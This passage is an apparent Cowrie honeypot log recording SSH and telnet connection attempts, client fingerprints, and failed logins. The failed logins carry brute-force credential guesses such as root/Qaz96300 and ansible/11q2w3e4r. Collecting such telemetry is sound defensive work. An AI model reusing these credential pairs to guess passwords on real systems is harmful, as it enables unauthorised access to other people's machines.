{"eventid":"cowrie.session.closed","duration":13.32618522644043,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:17.728345Z","src_ip":"105.74.7.154","session":"69b57552e3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":34686,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f9ee85a5d4","protocol":"telnet","message":"New connection: 161.97.124.15:34686 (159.203.135.109:23) [session: 37f9ee85a5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:18.110804Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37578,"dst_ip":"159.203.135.109","dst_port":23,"session":"e28220393ea6","protocol":"telnet","message":"New connection: 161.97.124.15:37578 (159.203.135.109:23) [session: e28220393ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:19.376798Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37774,"dst_ip":"159.203.135.109","dst_port":23,"session":"32a9951a72c7","protocol":"telnet","message":"New connection: 161.97.124.15:37774 (159.203.135.109:23) [session: 32a9951a72c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:19.442594Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44086,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc0f73e767b7","protocol":"ssh","message":"New connection: 176.65.139.103:44086 (10.17.0.5:22) [session: dc0f73e767b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:20.900094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:20.981320Z","src_ip":"176.65.139.103","session":"dc0f73e767b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:21.021642Z","src_ip":"176.65.139.103","session":"dc0f73e767b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":42714,"dst_ip":"159.203.135.109","dst_port":23,"session":"31eb1e14cdf2","protocol":"telnet","message":"New connection: 161.97.124.15:42714 (159.203.135.109:23) [session: 31eb1e14cdf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:21.466521Z"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:21.627619Z","src_ip":"176.65.139.103","session":"dc0f73e767b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:22.727846Z","src_ip":"176.65.139.103","session":"dc0f73e767b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.348390817642212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:23.069602Z","src_ip":"161.97.124.15","session":"b614ae6248da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54488730430603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:24.060729Z","src_ip":"161.97.124.15","session":"14f82709dd9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34826,"dst_ip":"159.203.135.109","dst_port":22,"session":"153cdd215168","protocol":"ssh","message":"New connection: 159.203.92.129:34826 (159.203.135.109:22) [session: 153cdd215168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:26.629412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:26.636834Z","src_ip":"159.203.92.129","session":"153cdd215168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:26.640766Z","src_ip":"159.203.92.129","session":"153cdd215168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"11q2w3e4r.","message":"login attempt [ansible/11q2w3e4r.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:26.649225Z","src_ip":"159.203.92.129","session":"153cdd215168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39870,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd31861d141","protocol":"telnet","message":"New connection: 185.26.126.47:39870 (159.203.135.109:23) [session: fbd31861d141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:26.938692Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40314,"dst_ip":"159.203.135.109","dst_port":23,"session":"a24c61712a83","protocol":"telnet","message":"New connection: 185.26.126.47:40314 (159.203.135.109:23) [session: a24c61712a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:27.502260Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:27.655233Z","src_ip":"159.203.92.129","session":"153cdd215168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46312,"dst_ip":"10.17.0.5","dst_port":22,"session":"52d2cf82d9ff","protocol":"ssh","message":"New connection: 176.65.139.103:46312 (10.17.0.5:22) [session: 52d2cf82d9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:28.336041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:28.339966Z","src_ip":"176.65.139.103","session":"52d2cf82d9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:28.421217Z","src_ip":"176.65.139.103","session":"52d2cf82d9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:28.704024Z","src_ip":"176.65.139.103","session":"52d2cf82d9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.647896766662598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:29.060501Z","src_ip":"161.97.124.15","session":"beaaa899a372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86266255378723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:29.067733Z","src_ip":"161.97.124.15","session":"4d27b90e536e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824851751327515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:29.522090Z","src_ip":"161.97.124.15","session":"0062a4283624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:29.823164Z","src_ip":"176.65.139.103","session":"52d2cf82d9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":33504,"dst_ip":"10.17.0.5","dst_port":22,"session":"71172a075bca","protocol":"ssh","message":"New connection: 202.184.144.220:33504 (10.17.0.5:22) [session: 71172a075bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:29.947667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:29.980276Z","src_ip":"202.184.144.220","session":"71172a075bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:30.214084Z","src_ip":"202.184.144.220","session":"71172a075bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz96300","message":"login attempt [root/Qaz96300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:31.181683Z","src_ip":"202.184.144.220","session":"71172a075bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:32.417110Z","src_ip":"202.184.144.220","session":"71172a075bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":53135,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc026915dce7","protocol":"ssh","message":"New connection: 52.231.220.210:53135 (10.17.0.5:22) [session: fc026915dce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:32.737325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:32.743491Z","src_ip":"52.231.220.210","session":"fc026915dce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:32.945005Z","src_ip":"52.231.220.210","session":"fc026915dce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wc123456","message":"login attempt [root/wc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:33.761469Z","src_ip":"52.231.220.210","session":"fc026915dce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.228179693222046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:34.092795Z","src_ip":"161.97.124.15","session":"50d3eaba2bd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:34.962034Z","src_ip":"52.231.220.210","session":"fc026915dce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59534,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05a3a5b6141","protocol":"ssh","message":"New connection: 176.65.139.103:59534 (10.17.0.5:22) [session: d05a3a5b6141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:35.694370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:35.699420Z","src_ip":"176.65.139.103","session":"d05a3a5b6141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:35.784348Z","src_ip":"176.65.139.103","session":"d05a3a5b6141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:36.043821Z","src_ip":"176.65.139.103","session":"d05a3a5b6141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:37.138890Z","src_ip":"176.65.139.103","session":"d05a3a5b6141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.150777339935303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:39.585841Z","src_ip":"161.97.124.15","session":"835f3f6983d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e5608b11d4","protocol":"telnet","message":"New connection: 161.97.124.15:57706 (159.203.135.109:23) [session: e6e5608b11d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:40.058588Z"}
{"eventid":"cowrie.session.closed","duration":30.94168496131897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:42.403906Z","src_ip":"161.97.124.15","session":"90c2ee731bd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3437602519989,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:42.615017Z","src_ip":"161.97.124.15","session":"43557325c329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52300,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6c78ded74ee","protocol":"ssh","message":"New connection: 176.65.139.103:52300 (10.17.0.5:22) [session: e6c78ded74ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:43.018607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:43.035319Z","src_ip":"176.65.139.103","session":"e6c78ded74ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed2